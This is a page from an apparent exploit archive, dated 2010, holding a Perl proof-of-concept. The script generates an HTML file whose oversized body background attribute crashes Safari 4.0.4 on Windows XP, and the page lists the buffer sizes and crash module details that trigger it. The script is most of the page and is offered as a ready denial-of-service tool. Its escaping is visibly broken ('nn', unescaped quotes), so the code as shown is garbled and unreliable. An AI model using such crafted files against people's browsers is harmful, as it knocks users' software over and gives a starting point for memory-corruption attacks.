[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Safari 4.0.4 (531.21.10) - Stack Overflow/Run Denial of Service
# Published : 2010-02-28
# Author : John Cobb
# Previous Title : RCA DCM425 Cable Modem micro_httpd DoS/PoC
# Next Title : Mozilla Firefox <= 3.6 Denial Of Service Exploit 


#!/usr/bin/perl
#
# Safari 4.0.4 (531.21.10) - Stack Overflow/run
# 0Day DoS POC by John Cobb - www.NoBytes.com - 20/01/2010 - [v1.0]
# Tested on WinXP (32bit) SP3
#
# Magic Numbers:
# 114516 -> 114718 : Safari quits without error
# 114719 : Safari quits with illegal operation:
# AppName: safari.exe
# AppVer: 5.31.21.10
# ModName: cfnetwork.dll
# ModVer: 1.450.5.0
# Offset: 000567a7

$filename = $ARGV[0];
$buffer = $ARGV[1];
if(!defined($filename))
{
print "Usage: $0 <filename.html> <buffer>nn";
}

$header = "<html>
<head>" . "n";
$crash = "<body background = "" . "A" x $buffer . "">" . "n";
$footer = "</html>" . "n";

$data = $header . $crash . $footer;

open(FILE, '>' . $filename);
print FILE $data;
close(FILE);

exit;